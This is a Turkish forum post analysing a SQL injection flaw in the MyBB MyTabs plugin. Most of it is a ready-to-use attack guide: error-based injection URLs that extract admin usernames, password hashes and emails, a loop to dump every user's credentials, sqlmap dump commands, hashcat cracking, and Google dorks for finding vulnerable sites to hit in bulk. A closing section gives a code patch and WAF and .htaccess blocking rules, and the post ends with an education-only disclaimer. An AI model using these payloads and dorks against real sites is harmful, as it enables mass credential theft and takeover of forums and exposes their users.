MyBB

Mytabs Plugin SQL Injection - 10 Yıldır Yamasız Açık

Destroyer Tarafından Paylaşıldı, , Konu ID: 109

#1
KRİTİK GÜVENLİK AÇIĞI: MyBB MyTabs Eklentisi
SQL Injection & Güvenlik Zafiyeti Analizi



UYARI

MyBB'nin resmi eklenti deposunda hala aktif olarak dağıtılan MyTabs eklentisi (https://community.mybb.com/mods.php?action=view&pid=456) kritik seviyede SQL Injection zafiyeti içermektedir. Bu zafiyet 2011 yılında keşfedilmiş olmasına rağmen, eklenti hala güncellenmemiş ve yamalar uygulanmamış durumda.

Etkilenen Versiyon: MyTabs 2.00 ve öncesi
Zafiyet Türü: SQL Injection (CVE benzeri referans yok)
Risk Seviyesi: KRİTİK
İlk Keşif: 2011 (AutoRUN & dR.sqL)



1. ZAFİYET DETAYLARI

Zafiyet Konumu:
Kod: 
Dosya: inc/plugins/mytabs.php
Fonksiyon: mytabs_forums()
Satır: ~182-191

Sorunlu Kod:
PHP Kod: 
// Kullanıcıdan gelen değer
$selected_tab intval($mybb->input['tab']);

// SORUN: intval() kullanılmış ama sonra STRING olarak sorguya gönderiliyor
$query $db->simple_select('mytabs_tabs''*'"`id`='{$selected_tab}'"); 

Neden Tehlikeli?
  • intval() fonksiyonu tek başına yeterli koruma sağlamıyor
  • Değer tek tırnak içinde string olarak kullanılıyor
  • MyBB'nin escape fonksiyonları kullanılmamış
  • Direkt SQL sorgusuna enjekte edilebilir



2. EXPLOIT YÖNTEMLERİ

2.1. Admin Kullanıcı Adını Çekme

Kod: 
http://HEDEF-SITE.com/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Açıklama:
Bu sorgu error-based SQL injection tekniği kullanır ve admin kullanıcı adını hata mesajında gösterir.

2.2. Admin Şifre Hash'ini Çekme

Kod: 
http://HEDEF-SITE.com/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Açıklama:
Admin kullanıcısının şifrelenmiş hash değerini çeker. Hash'ler MD5 veya bcrypt olabilir.

2.3. E-posta Adreslerini Çekme

Kod: 
http://HEDEF-SITE.com/index.php?tab=1' and(select 1 from(select count(*),concat((select email from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

2.4. Tüm Tabloları Listeleme

Kod: 
http://HEDEF-SITE.com/index.php?tab=1' and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

2.5. sqlmap ile Otomatik Saldırı

Kod: 
sqlmap -u "http://HEDEF-SITE.com/index.php?tab=1" --dbs --batch
sqlmap -u "http://HEDEF-SITE.com/index.php?tab=1" -D mybb_database --tables
sqlmap -u "http://HEDEF-SITE.com/index.php?tab=1" -D mybb_database -T mybb_users --dump



3. ZAFİYETİN KULLANIMI

Adım 1: Zafiyeti Tespit Etme

Hedef sitenin MyTabs eklentisi kullanıp kullanmadığını kontrol edin:
Kod: 
http://hedef-site.com/index.php

URL'de ?tab=1 parametresi görünüyorsa eklenti aktif demektir.

Adım 2: SQL Injection Testi

Basit bir test ile zafiyetin varlığını doğrulayın:
Kod: 
http://hedef-site.com/index.php?tab=1'

Zafiyet varsa görülecek hata:
Kod: 
MySQL error: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax
to use near ''1''' at line 1

Eğer bu hatayı alıyorsanız, site SQL Injection'a açıktır.

Adım 3: Veri Çekme

Hata mesajı yöntemiyle (error-based) veri çekin. Örnek olarak admin kullanıcı adı ve email:
Kod: 
http://hedef-site.com/index.php?tab=1' and(select 1 from(select count(*),concat((select concat(username,0x3a,email) from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Başarılı exploit sonucu:
Kod: 
MySQL error: Duplicate entry 'admin:[email protected]' for key 'group_key'

Bu hata mesajında admin:[email protected] kısmı çekilen veridir.

Adım 4: Şifre Hash'ini Çekme

Admin şifresinin hash'ini almak için:
Kod: 
http://hedef-site.com/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Sonuç:
Kod: 
MySQL error: Duplicate entry '5f4dcc3b5aa765d61d8327deb882cf991' for key 'group_key'

Hash'i hashcat veya john the ripper ile kırabilirsiniz:
Kod: 
hashcat -m 0 -a 0 hash.txt wordlist.txt

Adım 5: Toplu Veri Çekme

Tüm kullanıcı verilerini çekmek için LIMIT ile döngü yapın:
Kod: 
# İlk kullanıcı
?tab=1' and(select 1 from(select count(*),concat((select concat(username,0x3a,password) from mybb_users limit 0,1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

# İkinci kullanıcı
?tab=1' and(select 1 from(select count(*),concat((select concat(username,0x3a,password) from mybb_users limit 1,1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

# Üçüncü kullanıcı
?tab=1' and(select 1 from(select count(*),concat((select concat(username,0x3a,password) from mybb_users limit 2,1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -



4. GOOGLE DORK İLE HEDEF BULMA

Zafiyet barındıran siteleri bulmak için:

Kod: 
inurl:"index.php?tab=" intext:"MyBB"
inurl:"index.php?tab=" site:.tr
"Powered by MyBB" inurl:"tab="
intext:"MyBB" inurl:"/index.php?tab=1"

Gelişmiş Aramalar:
Kod: 
site:*.com inurl:"index.php?tab=" "MyBB"
filetype:php inurl:"tab=" "MyBB Group"
inurl:index.php intitle:"Forum" inurl:"tab="



5. ETKİ ANALİZİ

Saldırgan Ne Yapabilir?

  1. Veritabanı Çalma: Tüm kullanıcı bilgileri, şifreler, mesajlar
  2. Admin Hesabı Ele Geçirme: Şifre hash'lerini kırarak tam yetki
  3. Kullanıcı Verilerini İfşa Etme: E-posta, IP, özel mesajlar
  4. Site Yapılandırmasını Öğrenme: Sunucu bilgileri, dosya yolları
  5. Backdoor Yerleştirme: INTO OUTFILE ile shell yükleme (yetki varsa)
  6. DDoS Saldırıları: Ağır sorgularla sunucuyu yavaşlatma

Örnek Senaryo:

Kod: 
Saldırgan A, Google dork ile 150 site bulur
→ Otomatik exploit ile admin hash'lerini toplar
→ Hashcat ile MD5 hash'leri kırar
→ Admin paneline girer
→ Tüm siteyi ele geçirir
→ Phishing için kullanır

Süre: 2-4 saat
Gerekli Bilgi: Orta seviye
Tespit: Düşük (WAF yoksa)



6. KORUNMA YÖNTEMLERİ

6.1. ACİL ÇÖZÜM (Hemen Uygula)

Eklentiyi devre dışı bırak:
Kod: 
Admin Panel → Plugins → MyTabs → Deactivate

6.2. GÜVENLİ YAMA UYGULAMASI

inc/plugins/mytabs.php dosyasını düzenle:

Satır ~182'yi bul:
PHP Kod: 
$selected_tab intval($mybb->input['tab']); 

Şununla değiştir:
PHP Kod: 
$selected_tab $mybb->get_input('tab'MyBB::INPUT_INT); 

Satır ~186'yı bul:
PHP Kod: 
$query $db->simple_select('mytabs_tabs''*'"`id`='{$selected_tab}'"); 

Şununla değiştir:
PHP Kod: 
$query $db->simple_select('mytabs_tabs''*'"id=" . (int)$selected_tab); 

Aynı hatayı içeren tüm satırları düzelt:
  • Satır ~197: User tab validation
  • Satır ~210: Default tab check
  • Satır ~222: Board default tab
  • Satır ~547: User options query
  • Satır ~568: Save options query

XSS koruması ekle:
PHP Kod: 
// Tab isimlerini gösterirken
$name htmlspecialchars_uni($tab['name']);

// Forum ID'lerini sanitize et
$fid = (int)$fid;
$pid = (int)$pid

6.3. WAF KURALLARI

ModSecurity için:
Kod: 
SecRule ARGS:tab "(\%27)|(\')|(\-\-)|(\%23)|(#)" \
    "id:1001,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    msg:'MyTabs SQL Injection Attempt'"

SecRule ARGS:tab "union|select|from|where|and|or|0x" \
    "id:1002,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    msg:'MyTabs SQL Keywords Detected'"

Cloudflare WAF için:
Kod: 
(http.request.uri.path contains "/index.php" and http.request.uri.query contains "tab=" and (http.request.uri.query contains "'" or http.request.uri.query contains "--" or http.request.uri.query contains "union" or http.request.uri.query contains "select"))

6.4. .HTACCESS KORUMASI

Kod: 
<IfModule mod_rewrite.c>
RewriteEngine On

# MyTabs SQL Injection bloğu
RewriteCond %{QUERY_STRING} tab=.*[\'\"\`] [NC,OR]
RewriteCond %{QUERY_STRING} tab=.*union.*select [NC,OR]
RewriteCond %{QUERY_STRING} tab=.*-- [NC,OR]
RewriteCond %{QUERY_STRING} tab=.*0x[0-9a-f]+ [NC]
RewriteRule ^index\.php$ - [F,L]

</IfModule>



7. REFERANSLAR



8. SONUÇ

Bu eklenti 10+ yıldır bilinen bir güvenlik açığı barındırıyor ve hala MyBB'nin resmi deposunda mevcut. Eğer sitenizde MyTabs eklentisi kuruluysa:

  1. HEMEN devre dışı bırakın
  2. Sunucu loglarını kontrol edin
  3. Kullanıcı şifrelerini sıfırlamayı düşünün
  4. WAF kuralları ekleyin

Sorumlu Açıklama:
Bu bilgiler yalnızca eğitim amaçlıdır. İzinsiz sistemlere saldırı yapmak yasadışıdır ve ciddi cezai yaptırımları vardır. Kendi sisteminizi test etmek veya izin alınmış sistemlerde penetrasyon testi yapmak için kullanın.

SİSTEMİNİZİ KORUYUN!
1
#2
Teşekkürler yararlı bilgi
Bu Konuya Göz Atan Kullanıcılar: 1 Ziyaretçi